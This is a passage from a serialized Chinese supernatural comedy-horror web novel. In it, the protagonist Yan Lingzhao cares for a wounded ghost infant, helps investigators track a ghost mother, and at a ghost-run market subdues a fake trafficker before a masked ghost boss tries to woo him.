喷泉孜孜不倦的工作着,溅起的水珠在阳光下反射出耀眼的碎光。
喷泉池边缘, 一个小小的半透明的青紫色身影蜷缩着, 如同一滴即将蒸发的露珠。
它实在是太小了, 看上去还是个小婴儿——刚出生没多久的那种。并且肉眼可见的虚弱,都凝实不住身形了。
宴泠昭一眼就看到了它胸口的伤势:像是被某种小巧的圆形武器贯穿。伤口边缘持续不断的溢散黑气。
现在的宴泠昭已不同往日。经过系统性的学习,他知道黑气是诡异能量的可视化表达方式之一。再看小鬼半透明的身体,不难猜出等黑气散发完, 就是小鬼的死期。
怪不得李小虎急。
“小弟!我回来了!”李小虎飘到鬼婴身边, 声音中充满悲伤与担忧。
鬼婴微微动了动, 发出几声微弱的“阿巴阿巴”,声音细如蚊呐。
李小虎立刻转向宴泠昭:“他说他很痛, 但是很高兴我回来了。”
宴泠昭蹲下身, 一边仔细观察着鬼婴的伤势, 一边问:“谁伤的?”
鬼婴:“啊啊啊。”
李小虎尽职尽责的当传声翻译, 向宴泠昭解释道:“他说昨天晚上,他妈妈和一些人打起来了”
宴泠昭:“。”
知道了,侦查组干的。
沉默了下,宴泠昭又问:“他妈妈呢?”
闻言,李小虎的表情变得愤怒:“他妈妈根本不管他!事后小弟找他妈,他妈还说他太弱了,没用的东西就该被淘汰!”
鬼婴又发出一串微弱的“阿巴”声。
“什么时候了你还帮你妈说话。好吧,我们鬼怪是这样的,感情越深越伤害你别回去了,跟我走吧,我待你是真心实意的,让我送你最后一程。”李小虎眼泪汪汪的说道。
宴泠昭垂眸看着濒死的小鬼,没有阻止李小虎。
李小虎小心翼翼的将鬼婴抱起,对方小小的身体轻如鸿毛,几乎感觉不到重量。鼻子一酸,他忍不住喷了个鼻涕泡出来。
“呜呜,小弟你太惨了。”
***
回到家,宴泠昭召集了所有鬼怪围在客厅里。鬼婴被轻轻放在茶几上,身下垫着李小虎特意找来的一块软布。
何老观察着鬼婴的伤势,抬眉看了眼宴泠昭,慢吞吞道:“这伤好像是人类特别研发的专门针对咱们的武器造成的。”
王大爷意识到了什么,也看了眼宴泠昭,然后说道:“我们之中没有有能力治愈这种伤的。”
田燕婉一声不吭。
李奶奶看着难过的孙子,摸了摸他的头:“孩子,有些事情我们无能为力。”
李小虎不死心的看向宴泠昭:“老大,真的不行吗?你把小弟收服,保证小弟以后再也不伤害人类——也不行吗?”
李小虎虽然蠢,但也不是完全没有脑子。
宴泠昭看了李小虎几秒,摇头。
“他已经伤害了人类。”
不然侦查组不会对付他。
李小虎抬手抹了抹泪,没有再为鬼婴求情。
傍晚。
晚餐时间,李小虎完全没有胃口,固执的守在鬼婴身边,不打算吃饭。
——不过对诡异来说不吃饭才是常态,它们没有那个需求。
“你不吃么。”宴泠昭问道。
李小虎:“我不饿,你们不用管我。我要陪着小弟到最后。”
鬼婴:“啊啊”
李小虎眼眶湿润:“你说你想回去找妈妈?”
“不行!你回去了你妈妈也不会管你的!你你不如呆在我身边,至少我会陪着你。”
鬼婴沉默了一会儿,发出几个微弱的音节。
李小虎点头,“这才对嘛,孺子可教也。”
时间悄然流逝。
很快,到了睡觉时间。
宴泠昭依次将众鬼收回体内,然后看向仍然守在鬼婴身边的李小虎,犹豫了下,没有开口。
李小虎读懂了宴泠昭的意思,小声说了句“谢谢老大”。
宴泠昭语气平静的道:“我回房间了,你结束了叫我。”
李小虎“嗯”了声。
“咔哒。”
房门关上。
李小虎收回视线,和身形与白天相比又透明了两度的鬼婴一起坐在阳台上,谁也没说话。
另一边,回到房间的宴泠昭本打算玩着手机等李小虎,然而刚打开常刷的app,一种前所未有的困意便突然袭来,如同一张无形的大网将他笼罩。
宴泠昭努力想要保持清醒,但眼皮却越来越沉重。
最终,他还是没能抵抗住这股强烈的睡意,合上眼睛沉沉睡去。
***
客厅。
李小虎悲伤的看着鬼婴越来越透明的身体,知道新认的小弟就快要完全消散了。
今晚的月亮格外明亮,银白色的月光如水般倾泻而下,落在鬼婴身上。
黯然神伤的李小虎忽然感到有人拍了一下自己的肩膀。他下意识转头看去,没有发现任何人。疑惑的回过头时,他惊讶的瞪大了眼睛——
是鬼婴,他身上那个恐怖的贯穿伤完全愈合了,没留下丝毫痕迹。小小的身体也不再透明,无比凝实。
“小、小弟?”李小虎震惊的说道。
鬼婴眨了眨眼,发出一连串欢快的“阿巴阿巴”声,小手小脚欢快的舞动着,仿佛在庆祝重获新生。
李小虎激动的伸手碰了碰鬼婴,确认这不是幻觉。当他的手指接触到小鬼实实在在的身体,李小虎高兴的控制不住,阳台瞬间铺上水做的“地毯”。
窗外,上弦月高悬,月光越发明亮,几乎将整个客厅都笼罩在银色的光芒中。
***
清晨,阳光透过窗帘缝隙洒落在宴泠昭的脸上,将宴泠昭从异常深沉的睡眠中唤醒。
青年眨了眨眼,感觉自己这一觉似乎睡了很久,又好像没多久。记忆中最后停格的画面是他准备熬夜等李小虎,接着就“断片”了。
现在几点了?
宴泠昭四处摸索着手机。
终于找到了,亮屏一看,八点过一点。
宴泠昭打了个哈欠,翻身下床,踩着拖鞋推开卧室门。
眼前的景象让他一愣。
昨天还奄奄一息的鬼婴此刻正欢快的和李小虎在客厅玩追逐游戏,完全看不出半点受伤的样子。身上恐怖的贯穿伤也消失得无影无踪,也不再是半透明状态。
“早啊,大哥!”李小虎停下奔跑,兴高采烈的向宴泠昭打招呼,“小弟好了!他的伤全都好了!”
鬼婴看到宴泠昭也停了下来,伸出胖乎乎的小手在空中挥了挥,应该是在打招呼。
宴泠昭回过神,缓步走近鬼婴,审视着这个神奇康复的小鬼:“怎么回事?”
“我也不知道。”李小虎解释,“小弟说是月光治愈了他。”
月光?
宴泠昭蹲下身,认真看了看鬼婴,又突然伸手卡着鬼婴的腋下,将鬼婴整个举起来,360°“查阅”。
听说过精怪吸食月华的,没听过鬼也吸食月华。
不过话又说回来,真的有月华这玩意?
***
放出其他鬼怪,大家照常各自散去。
李小虎则兴冲冲的带着鬼婴去喷泉池玩水,手机鬼依旧抱着平板电脑,沉浸在游戏的世界中,耳机里传出激烈的游戏音效。
宴泠昭拿着手机回到房间,拨通了朱德宏的号码,将鬼婴的事大概讲了一下。
朱德宏一听,马上认出其肯定和鬼母有关,斟酌了一下,把鬼母的事情告诉了宴泠昭。
宴泠昭:“鬼母杀人的规律是什么?”
朱德宏沉默了下,最终还是说了出来。
他知道大部分民众都会觉得这种人杀得好,他有些担心宴泠昭也这么想。
为此,朱德宏停顿了一下,特意补充道:“我知道从某种方面来看,这些受害者活该。但不论如何,我们不能允许任何存在肆意剥夺他人生命,无论出于什么理由。”
朱德宏这次是多虑了,因为宴泠昭压根没想法。准确来说,他既不觉得杀得好,也不觉得杀得不好,人只是问道:“需要我帮忙吗?”
这个直接的提议出乎朱德宏的预料:“你愿意参与这个案件?”
“如果需要的话。”宴泠昭回道,“那个鬼婴应该知道他母亲的下落。”
朱德宏思考片刻:“如果你方便的话。不过,我要强调的是,这不是你必须完成的正式任务,你不要有压力。””我明白。”宴泠昭,“如果有进展,我会联系你。”
***
喷泉池。
李小虎和鬼婴正在水中嬉戏——主要是李小虎教鬼婴如何控制小股水流,形成各种形状。
两鬼玩得不亦乐乎。
宴泠昭走近池边,唤道:“李小虎。”
李小虎闻声回头,脸上挂着灿烂的笑容:“诶,大哥,你来啦?小弟刚学会怎么把水变成圆形呢!”
宴泠昭点点头,然后将目光转向鬼婴。在他看来,自己的表情和语气都相当温和了,甚至带着他不熟悉的几分鼓励的微笑。
“小朋友,我能问你个问题吗?”宴泠昭轻声说道,“你知道你妈妈在哪里吗?”
然而,在鬼婴的视角中,这一幕却截然不同。
当宴泠昭的目光落在自己身上,鬼婴仿佛看到了一轮巨大的猩红满月从宴泠昭背后升起,月光如瀑,冰冷而威严。
所以,纵使宴泠昭的声音听起来平静柔和,但每一个字都仿佛带着无形的重量,直接压向鬼婴的意识深处,不容抗拒。
那张平静的面孔在鬼婴眼中也变得无比恐怖,根本不是人类的样子。
于是,宴泠昭问的“你知道你妈妈在哪里吗”落到鬼婴耳里就是“你妈妈在哪里。”
疑问句变成了陈述句,完全就是威胁。
鬼婴瑟瑟发抖,小小的身体在水中缩成一团。他求助的看向李小虎,但这个便宜大哥根本没注意到不对劲,还在乐呵呵的傻笑着对那个恐怖的存在说些什么。
压力越来越大,鬼婴感觉自己的灵魂都快被碾碎了。最终,他崩溃了,发出婴儿尖锐刺耳的啼哭,眼泪如泉涌般喷出。
努力微笑的宴泠昭:“?”
不明所以的李小虎:“小弟,你哭什么?想妈妈了?”
【作者有话说】
鬼婴:对,我想我妈了
60-70
61 第 61 章
◎原来,是鬼啊◎
宴泠昭向来有自知之明, 从不认为自己具有与儿童交流的天赋。实际上,在他有限的社交经历中, 也几乎没有与小孩子交际的经历。
就像他不理解孩子们的活泼与好动,孩子们也对他这种沉默寡言的成年人毫无兴趣。
这种彼此疏离又默契的关系一直延续到现在。
对鬼婴,他已经尽力展现出自己能够做到的最温和态度——声音放轻,表情柔和,露出微笑
然而,这些努力非但没有缓解紧张的氛围, 反倒让小家伙崩溃大哭起来。
难道他看起来很可怕吗?
宴泠昭沉默的想,不解的注视着在李小虎怀中哭得撕心裂肺的鬼婴。
很尴尬。
不是他不想解决问题,是完全不知道该如何是好。
让他意外的是,李小虎——那个在他印象中闯祸不断、没个省心的熊孩子, 此刻却展现出令人刮目相看的成熟一面:只见他轻拍着鬼婴的背部,低声念叨着安慰的话语, 动作熟练得宛如一个经验丰富的兄长。
“没事的, 小弟, 别怕,哥哥在这里”完全不像平时那吵闹任性的样子。
可见熊孩子并非不懂事,只是平时不愿意收敛。
在李小虎的悉心安抚下,鬼婴的啼哭逐渐减弱, 最终变成微弱的抽泣声。
小家伙仍然害怕得不敢直视宴泠昭, 干脆将整个脑袋都埋进了李小虎的胸膛, 仿佛这样就能得到安全感。
李小虎回过头,对宴泠昭做了个口型:你先走, 看我的。
宴泠昭欲言又止, 想说些什么却又不知从何说起。最终, 他点了点头, 转身回去了。留下李小虎继续安慰受惊的鬼婴,
一整个下午,李小虎都没有回来。直到傍晚饭点时分,他才回来。
“大哥。”李小虎飘到宴泠昭面前,期期艾艾的问道:“你能不能收服小弟啊?”
宴泠昭没有回答。
说实话,他对自己是如何收服鬼邻居们的都不知道,包括手机鬼,全是在本人没有意识的状态下做的。
但真相又不能告诉李小虎。
宴泠昭略作思考,给出了一个模棱两可的回答:“得看鬼婴自己愿不愿意。”
这句话在李小虎听来,等同于拒绝,表情立刻垮了下来。
“可是当初我也不是自愿的啊,不也被收服了吗?”李小虎小声嘀咕道,语气中充满了失望。
宴泠昭看在眼里,没有多作解释。他自己都不确定所谓的“收服”机制是如何运作的,贸然尝试可能带来不可预测的后果。
饭后,田燕婉放出与自己融为一体的丈夫出来收拾卫生,值得一提的是现在家里所有的卫生以及脏活累活都是对方做。
田燕婉甚至还放话,谁若是不顺心想出气,欢迎找她丈夫。
于高俊(田燕婉老公名字)敢怒不敢言
宴泠昭正思索着如何向李小虎询问鬼母的位置,李小虎就主动找到他说起这事,仿佛已经忘记了饭前的不愉快。
“对了,大哥,我问过小弟了。”李小虎的语气中带着一丝遗憾,“他说他也不知道他妈在哪,只有在他妈呼唤他的时候,他才能感应到方向。所以除非下次他妈叫他,而且我正好在场,才能得到答案。”
宴泠昭点头:“辛苦了。”
没想这客套简单的三个字触动了李小虎内心的某个开关。原本还有些沮丧的李小虎立刻精神焕发,脸上浮现出掩饰不住的自豪,扭捏的低下头,语气带着明显的得意,说道:“也、也还好啦,这点小事不算什么。”
宴泠昭对李小虎的情绪变化毫无察觉,拿到情报后走进卧室,拨通了朱德宏的电话。
对面接通后,他直奔主题,将李小虎提供的信息说了出来。
电话那端的朱德宏沉吟片刻:“今晚可能就是个机会,辛苦你留意一下。”
挂断通话,宴泠昭找到正在客厅看电视的李小虎,提出请求:“今晚能不能请你特别注意一下,如果鬼婴被召唤,麻烦你立刻告诉我。”
李小虎拍着胸脯保证:“包在我身上!一定完成任务!”丝毫不觉得自己这是在出卖小弟。毕竟鬼怪可没有道德感。
随后,李小虎消失在家里,找小弟去了。
宴泠昭则留在家中,等待消息。
好在自G市旅游回来后,他的作息便又乱了,现在普遍是凌晨一两点入睡,早上九十点起床。
这种不规律的生活习惯如今反而成了优势,让他能够保持清醒,等待李小虎回来。
与此同时,朱德宏也在焦急的等待。
虽然他在与宴泠昭的通话中表现得无比冷静,没有流露出任何催促的意思,但内心确实将一部分希望寄托在了宴泠昭身上。如果能够确定鬼母的准确位置,对于整个行动将是莫大的助力。
终于,凌晨刚过,朱德宏的手机震动起来,显示来电人备注:宴泠昭。
“明白了,非常感谢。”朱德宏快速说完结束通话,将这一关键情报传递给了各个侦查小组。
而后在锁定了鬼母的位置后,所有参与行动的人员心中都浮现出相同的疑惑——为何鬼母会出现在他们之前划定区域之外的地方?
但仔细思考后,这似乎又在情理之中。毕竟他们最初确定的“活动范围”只是基于已知案例的推测,从未有确凿证据表明鬼母只能在那些区域活动。
这一次的行动比之前更为谨慎和全面。侦查小组配备了更多武器,采用了更加周密的包围策略。然而,鬼母的警觉性超出了所有人的预期。在察觉到危险的第一时间,她就放弃了原定目标,迅速撤离。
尽管如此,这次行动也并非全无收获。
在短暂的交火中,侦查小组成功对鬼母造成了重创——一名队员用特制匕首刺中了她的腹部,鬼母痛苦的尖叫着消失在夜色中。
***
对于这一夜的激烈战斗,宴泠昭一无所知,一觉睡到了大天亮。
十分钟后,他洗漱完毕,走出卧室,看到手机鬼已经占据了客厅最长的那个沙发,正抱着平板电脑沉浸在游戏世界中,完全无视了周围的一切:指都不狗腿的跟他“请安”了。
说起来,最近手机鬼的网瘾愈发严重,几乎到了废寝忘食的地步。当然,作为鬼,人家本就不需要睡眠和食物就是了。
宴泠昭没有打扰他,收拾了下生活垃圾,准备带出去丢掉。同时,在脑海中规划着今天的行程:扔完垃圾后去附近的菜市场采购。家里前些天囤积的食材又消耗完了。
国庆后的天气骤然转凉,夏季的炎热一去不返。
今天虽然依旧阳光明媚,但已不再暴烈,气温保持在一个舒适的范围内。宴泠昭套上一件薄款长袖,刚好适应这种过渡期的温度。
换好鞋,他提着垃圾袋出门了
宴泠昭走到垃圾分类站前,将手中的袋子准确投入相应的箱体。
然后放下手,转身准备离开。一个熟悉的身影进入了他的视野,是一位穿着白色连衣裙的瘦削女性,宴泠昭几乎是一眼就认出了她,正是前几天在同一地点询问他“喜不喜欢孩子”的那个奇怪女人。
宴泠昭立刻提高警惕,全身紧绷,提防意外情况的发生。
然而,这次女人没有再问他奇怪的问题,也没有做出什么偏激的行为,只是低着头与他擦肩而过。
可也就是那短暂的交错瞬间,一股浓烈的血腥味钻入宴泠昭的鼻腔。
宴泠昭下意识转身看去,目光落在女人的背上。
只见白色连衣裙的后腰腹位置,一块鲜红的血迹正以肉眼可见的速度扩散,很快便渗透了整个腹部的布料,形成一片刺目的猩红。
宴泠昭第一反应是考虑女性的生理期可能性,但血液的位置和量显然不符合这种解释。
“你——”宴泠昭下意识出声叫住女人。
但女人没有停下脚步,仿佛没有听到宴泠昭的声音,又像是刻意忽略。
宴泠昭轻轻皱了下眉。
自从接受了国家的工作,他多少也算是肩负起了一份社会责任。更何况,无论从哪个角度看,女人的状况都极度危险,想来即使是普通民众看见,也不会视若无睹。
他不再犹豫,几个快步追上前去,伸手按住女人的肩膀
触感出乎意料的冰冷,隔着衣物都能感受到一种不自然的寒意。
“请停下。”宴泠昭说道。手上的力道足以制止对方继续前行,却又不至于造成伤害,“你受伤了。”
女人在他的制止下终于停止了移动。
以宴泠昭的医学常识判断,这种出血状况,任何多余的活动都会加速血液流失,当务之急是保持静止,减少伤口的扩张和血液流动。
女人缓慢的转过头来,动作十分僵硬。
她的脸色无比苍白,苍白得几乎没有血色,皮肤下隐约可见青色的血管纹路,双眼布满细密的血丝,如同一张猩红的网覆盖在眼球表面。她的瞳孔像是戴了美瞳,比正常人大一些。
眼里没有丝毫情绪,看得人头皮发麻。
但宴泠昭已经见过太多超出常理的存在,接受良好。他的声音依然保持着镇定:
“你受伤了,你不知道吗?”他看着女人,表情平静,“别再动了,我送你去医院。”
说完,他转身蹲下,背对着女人,做出一个明确的背负姿势。
“上来。”宴泠昭简短的说,双手向后伸展,准备接住女人的重量,“你流了太多血,必须立即就医。”
寂静在空气中蔓延。
女人自始至终没有说一句话。
秋风拂过小区的树梢,发出轻微的沙沙声。
一秒、两秒、三秒
预期中的重量始终未能落在背上。
宴泠昭等了足足半分钟,最后他转头看向身后,准备再次劝说。
然而,身后空无一人。
那个血迹斑斑的女人就像从未出现过,完全消失了。没有脚步声,没有移动的轨迹,就好像刚才的一切都只是宴泠昭的幻觉。
宴泠昭:“”
原来,是鬼啊。
他环顾四周,确认附近没有其他人目睹到这一幕——想象一下,如果有人看到他对着空气说话、弯腰邀请一个不存在的人上他的背
宴泠昭甚至能想象出那种画面:一个年轻男子独自一人在小区的垃圾桶旁,忽然叫住虚空中的某个存在,然后转身蹲下,对着空气诚恳的说“上来,我送你去医院”
如果真有人看到,多半会认为他精神出了问题。
虽然,他精神确实有点问题。
宴泠昭默默站起身,加快了步伐向小区大门走去。
为了驱散心中的尴尬感,宴泠昭刻意在脑海中盘点今天需要购买的食材以及可能烹饪的菜式。
青椒肉丝需要青椒、猪肉;番茄炒蛋要番茄、鸡蛋;还得买些蒜苗、姜、大葱这类调料
菜市场离小区步行大约七、八分钟路程的时间,沿着林荫道直行,再右转即到。
通常这个点,菜市场正是最热闹的时候,讨价还价声、吆喝声此起彼伏,空气中弥漫着新鲜蔬果和活鱼的气息,充满了市井生活的烟火气。
可就在宴泠昭出现在菜市场入口的一刹那,原本喧嚣的氛围褪去,整个市场犹如被按下了静音键,所有声音都戛然而止。
在这死寂、窒息的静默中,摊主们脸上闪过难以掩饰的惊恐和不安,看着宴泠昭的眼神充满复杂的情绪,混合着震惊、恐惧与一丝诡异的敬畏。
62 第 62 章
◎有兴趣认识一下我主吗◎
“卧槽, 这祖宗怎么又来了?”卖豆腐的摊贩小声嘀咕道,声音在安静的环境下格外明显。
紧接着, 就像某种无形的开关被重新打开,市场又恢复了喧嚣。但明眼人能看出,那些摊主们的态度有了微妙的变化——他们的动作变得更加谨慎,交谈声音压低了不少,不经意间的目光总是偷偷投向宴泠昭的方向。
有些摊主甚至开始默默收拾自己的摊位,仿佛随时准备撤离;更有甚者, 已经拉下帘布,打出“今日休息”的牌子,直接跑路了。
宴泠昭对周围人惊惧的反应毫无察觉,他的注意力完全集中在今天的采购清单上:先去蔬菜区选购新鲜时蔬, 再到生肉区挑选所需的肉类
他轻车熟路的穿行于各个摊位之间,完全没有注意到摊主们那些急于避开他视线的怪异行为。正当他准备在一家蔬菜摊前停留时, 一阵急促的脚步声伴随着女性的惊叫从身后传来。
“救救我!”
宴泠昭停下脚步, 转身看去。
一名年轻女子正朝他奔来, 神情惊恐,头发凌乱,一副刚经历过某种可怕事情的样子。她的眼眶泛红,面色苍白, 双手不自主的颤抖着。
“有人贩子!”女孩几乎是哽咽着说出这三个字, 声音中混合着惊惧和哀求。
人贩子?
宴泠昭将女孩挡在身后, “在哪?”
女孩见宴泠昭愿意帮助,泪水夺眶而出。她匆忙用手背蹭掉脸颊上的泪痕, 一只手紧张地攥住宴泠昭的衣角, 另一只手指向自己刚才逃离的方向。
“那边, 那个皮肤黑黑的很瘦的男人!”
顺着女孩手指的方向望去, 宴泠昭很快锁定了目标。
一个身形瘦削、皮肤黝黑的男子大步朝这边走来。那人约莫三十岁上下,穿着一件皱巴巴的深色外套,眼神凶狠,属于那种一眼看去就给人强烈威胁感的角色类型。
男人大步流星的走到宴泠昭面前,完全无视了周围摊贩投来的目光,直接伸手就要抓躲在宴泠昭身后的女孩。
宴泠昭反应极快,单手牢牢扣住男人的手腕,阻断了男人的动作。
“你想做什么。”宴泠昭的声音平淡如水,却蕴含着不可忽视的压迫感。
男人被突然阻拦,脸上闪过一丝恼怒,不耐烦的甩了甩手腕,试图挣脱宴泠昭的钳制,但未能成功。
“兄弟,要有先来后到的规矩。”男人威胁的说道。
然而,就在说完这句话的瞬间,男人的表情突然凝固。他仔细打量着宴泠昭,眼神中的凶狠逐渐被一种诡异的兴奋所取代。
“人?”他喃喃自语,说的含糊不清。
由于男人的声音太低且只发出一个音节,宴泠昭并没有听清他在说什么。但从那句所谓的“先来后到”就足以证明女孩的指控不是空穴来风。
宴泠昭面无表情,眼神漠然。手上突然发力,一个干净利落的反关节动作,直接将男人掀翻在地。
男人没反应过来,整个人已经重重摔在坚硬的地面上。他仰面朝天,瞪大眼睛看着菜市场的天花板,随后视线移向居高临下俯视着自己的青年。
该怎么形容那个眼神呢?
充满了浓浓的不屑。
(其实并没有的宴泠昭:?)
区区人类,竟敢看不起他?!
愤怒在男人心中升腾,男人迅速从地上弹起,以惊人的力量和速度朝宴泠昭扑来。他的动作异常敏捷,力道远超常人,每一次出手都带着致命的威胁。
宴泠昭却表现得异常冷静,他的反应速度和力量同样令人惊讶。
两人在原地展开了一场激烈的搏斗,周围的摊位不可避免的受到波及——蔬菜散落一地,水果滚落四处,木质摊架断裂的声音不绝于耳。
奇怪的是,尽管周围一片混乱,但“受伤”的摊主们并没有表现出应有的惊慌或愤怒。他们只是沉默的注视着这场战斗,看男人的眼神像是在看勇士。
不远处,两个摊贩正低声交谈。
“那家伙新来的?”瘦高的卖橘子的男人问道。
“显而易见。”卖苹果的老妇人慢吞吞的回道。
“哈,有好戏看了。”
“有什么好戏?我赌一分钟内结束。”
“那倒也是。”
“也不知道老板和那位有没有一战之力。说起来今天是不是老板来收摊位费的日子?”
“不一定,老板不固定,不过一般也就是在这几天。如果今天来的话呵呵,那才是真的就有好戏看了。”
两人口中的老板是个很神秘的存在。总是穿着一身黑色风衣,戴着形似中世纪瘟疫医生的鸟嘴面具,头顶宽沿黑帽,身形高大,两米的身高让人不得不仰视。
老板是菜市场的主人,掌控着整个菜市场,用人类的说法——菜市场是他的“鬼域”。
而大家伙愿意花钱待在菜市场,没别的原因,纯被逼的:
菜市场的老板很凶很厉害,他逼着被选中的倒霉鬼到他的菜市场卖东西,并且还要按时交摊位费,还不能说是交了钱就不管了,必须认真经营,否则就会面临可怕的后果。
摊贩们心怀怨恨却无计可施。
没办法,鬼怪的世界就是这么残酷,弱肉强食,弱即原罪。
“那你希望是那位赢,还是老板赢?”
“哪位赢对我们来说都没区别,最好是两败俱伤。”
“有道理。”
搏斗还在进行,但局势已经明朗。尽管男人力大无穷,但宴泠昭的技巧和反应速度更占上风。何况,宴泠昭的力量也不小。
经过一番激烈交锋,宴泠昭成功将男人制服,他半蹲在男人身旁,将男人的双手紧紧压制在背后。
“这不可能!”男人咆哮着,难以接受自己被一个人类彻底压制的事实。
在极度愤怒和挫败感的驱使下,男人显露出鬼相:他的舌头突然伸长至不可思议的长度,然后如同青蛙那般灵活的操控舌头朝宴泠昭的面部攻击去。
宴泠昭出于本能反应,一把抓住那条异常的舌头。触感黏腻湿滑,令人作呕,瞬间他就明白了对手的真实身份。
“鬼?”
想起自己身处公共场所,宴泠昭下意识抬头环顾四周,以为会看到惊恐逃窜的人群。然而,让他惊讶的是,没有一个人表现出应有的震惊或恐惧。甚至,摊贩们一个个兴奋不已,俨然不嫌事大的样子。
宴泠昭:“”
这对吗?
当然不对。
看正常人打架这样倒勉强能够理解,但男人的舌头如此古怪,怎会没一个人过度反应?
所以,是他久违的犯病了?
正当宴泠昭困惑之际,一阵清脆的脚步声从背后传来。
“哒,哒,哒”
整个市场再度瞬间寂静下来。
宴泠昭下意识转头望去,只见一个高大的身影从明亮的阳光中优雅走入市场。
对方身穿一袭黑色风衣,长度几乎垂至脚踝,上面装饰着神秘的银色暗纹。脸上戴着精致的鸟嘴面具,一副中世纪瘟疫医生会使用的标志性装扮。头上还有一顶宽大的黑色帽子,整体造型与菜市场格格不入,更像是去走T台的。
这对比冲突强烈的画面让宴泠昭一时愣神。
也是在这个这时,被宴泠昭制服的男人挣扎得更加剧烈,由于舌头被抓住,他只能发出含混不清的呼喊:
“老板!老板!”
老板缓步靠近,每一步都像是在走红毯。他的风衣随着移动摩擦发出沙沙的声响。
整个菜市场的气氛瞬间凝固,所有摊贩不约而同的低下头,不敢直视这位神秘的统治者。
当老板走到距离宴泠昭仅剩几步远的地方时,原本不紧不慢的步伐突然加快。
而后,在宴泠昭平静带着些许疑惑的注视下,老板做出了一个令所有摊贩目瞪口呆的举动——他右腿微曲,华丽的单膝跪地,宛如童话中向公主求爱的王子。随后,他的手在空中轻轻一晃,手掌中凭空出现一朵娇艳欲滴的红玫瑰,花瓣上还带着晶莹的水珠,仿佛刚刚采摘。
“你相信一见钟情吗?”老板的声音从鸟嘴面具后方传出,呈现出一种奇妙的混响效果,既低沉又富有磁性,“看到你的瞬间,我的心就狂跳不止。”
宴泠昭:“”
面对这突如其来的“表白”,宴泠昭一时无言以对。他的手仍然牢牢控制着地上那个显露出鬼相的男人,思绪却被这荒谬的场景彻底打乱。
“甚至。”老板继续深情款款的说道,声音中带着某种梦幻般的恍惚,“有一种我们认识很久的感觉。或许是前世的缘分,或许是命运的安排,但这种吸引力,这种心灵的共鸣,绝不是偶然。”
宴泠昭的表情从困惑逐渐转为警惕:“我没有那方面的打算。”语气平静坚决,不留一丝余地。
老板并未因此气馁,保持着单膝跪地的姿势,头部微微倾斜,目光透过面具深深的凝视着宴泠昭。
女生呆呆的站在一旁,实现在老板和宴泠昭之间来回游移,脸颊上不知为何浮现出两抹淡淡的红晕。
“嘀嗒。”
一滴鲜红的液体落在地面上。
宴泠昭注意到脚边的血迹,抬头望去,只见女生的鼻腔正缓缓流出鲜血。女生却对此浑然不觉,人中处“挂着”一道刺目的红线。
宴泠昭沉默了两秒,无视老板仍在半空中递出的玫瑰,空出一只手从口袋里掏出手机,拨通了报警电话。
“我在xx区菜市场抓到了一个人贩子,请尽快派人过来。”
***
菜市场外。
男人一改之前桀骜不驯的样子,乖乖双手抱头蹲在地上,姿态极为顺从,跟换了个人似的。
老板站在宴泠昭身边,丝毫没有离开的意思。他手里的玫瑰不知何时不见了,整个人以一种贵族般闲适、端庄、优雅的姿态,不时发表一些莫名其妙的言论。
“你知道吗?我从未见过像你这样特别的存在。”他喟叹道,“你身上有种特别的气息,像月光下初绽的昙花,美丽而神秘。”
女生则站在稍远处,时而看看老板,时而望向宴泠昭,眼神中充满某种难以言明的情绪。她的鼻血已经被纸巾擦拭干净,但面色仍然泛着不自然的潮红。
“或许我们是命中注定的相遇。”老板滔滔不绝,声音越发飘渺。
宴泠昭终于忍无可忍,转头冷冷的看着老板:“我已经明确拒绝你了,你再这样就是性骚扰。”
被打断长篇大论的老板沉默了几秒,鸟嘴面具下传来一声几不可闻的叹息,肩膀微微下垂,流露出一丝失落,但很快又恢复了活力。
“好吧,既然如此。”他的语调突然变得轻快,“那你有兴趣认识一下我主吗?”
不等宴泠昭回应,老板的手在风衣口袋里一阵摸索,居然拉出了一个远超口袋体积的古怪雕像。那雕像约有篮球大小,材质似金非金,似木非木,呈现出一种无法辨认的暗沉色泽,雕刻的形状扭曲而诡异,让人看一眼就觉得眩晕不适。
“我主苍珥万象九重终焉阒阴至尊”老板的声音突然变得庄重而充满狂热的崇拜,语速极快地念诵着这一连串晦涩难懂的称号。
宴泠昭:“?”
“你是《一本恐怖小说》的读者?”
老板被打断后卡壳了好几秒:“什么读者?”
“你不是说苍珥万象九重终焉阒阴至尊么。”
“对,这是我主的尊称!”
宴泠昭:“”
【作者有话说】
热知识:心狂跳不止不一定是爱情——
63 第 63 章
◎墨菲斯◎
他记得, 这个尊号是他随手编造的、为自己的小说设计的虚构神明难道就真这么巧,和现实撞上了?
宴泠昭默默打量着眼前看不见相貌的家伙, 目光不由自主的停留在对方那张鸟嘴面具上。
面具的存在感极其强烈,在阳光照射下反射出类似精工打磨的金属光泽。
像钢铁做的。但如果真是金属制作,戴在脸上不得重死。
算了什么材质做的和他有什么关系。
倒是看对方的做派,也有点精神不正常的样子。
——说不定的确是他的读者,错把虚幻当成了现实。也可能是在哪里看到了这串名称毕竟,他的作品是有那么一些名气, 在某些小众圈子里颇受追捧,被狂热粉丝模仿也不是不可能。
宴泠昭不再纠结这个问题,保持沉默,任由老板继续高谈阔论他那位所谓的“主”有多么神通广大, 如何掌控诸天万界,能够扭曲现实规则。
这些天马行空的描述在他耳中如同白噪音般飘过, 左耳进右耳出, 没留下半点痕迹。
在宴泠昭不耐烦前, 警察终于赶到。红蓝警灯的光芒透过菜市场入口的遮挡。一辆警车停靠过来,接着两名身着制服的警察开门下车。
令宴泠昭意外的是,其中一位警察竟向他微微点了点头,还做了个半敬礼的动作:“辛苦了。”
不仅如此, 这位警察的语气甚至带着敬意, 像是认识他。不等宴泠昭询问, 警察已经熟练的取出手铐,将男人铐住。
整个过程干净利落, 没有任何多余的询问、繁琐的笔录, 仅仅是确认了情况, 便将男子推进警车后座, 随即驾车离去。
——宴泠昭的号码如今在公安系统后台被做了特殊标记,只要是他报警,来的都会是特殊部门的人。
不用再担心像他第1次报警,来的是普通民警的情况。
目送警车渐行渐远,宴泠昭收回视线,这才注意到身为受害者的女生没被带走。他先是一怔,随后迅速回头望向警车离去的方向。
警车已经拐弯消失在视野中。
宴泠昭:“”
警察好像忘了带受害者走了,难道不需要受害者做笔录吗?
沉默片刻,宴泠昭不太愿意相信这是警察的疏忽。也许是没到那个程度?
他也不是警察,对这方面不了解。
于是宴泠昭迟疑的问道:“你要不要打个车回家?或者我送你回去?”
最后,是宴泠昭送女生回家的。
一路上,女生的状态令人担忧。她整个人仿佛置身于某种迷幻状态,飘忽不定,跟喝醉了似的。
“你确定不需要去医院检查一下?”宴泠昭第二次善意提醒。
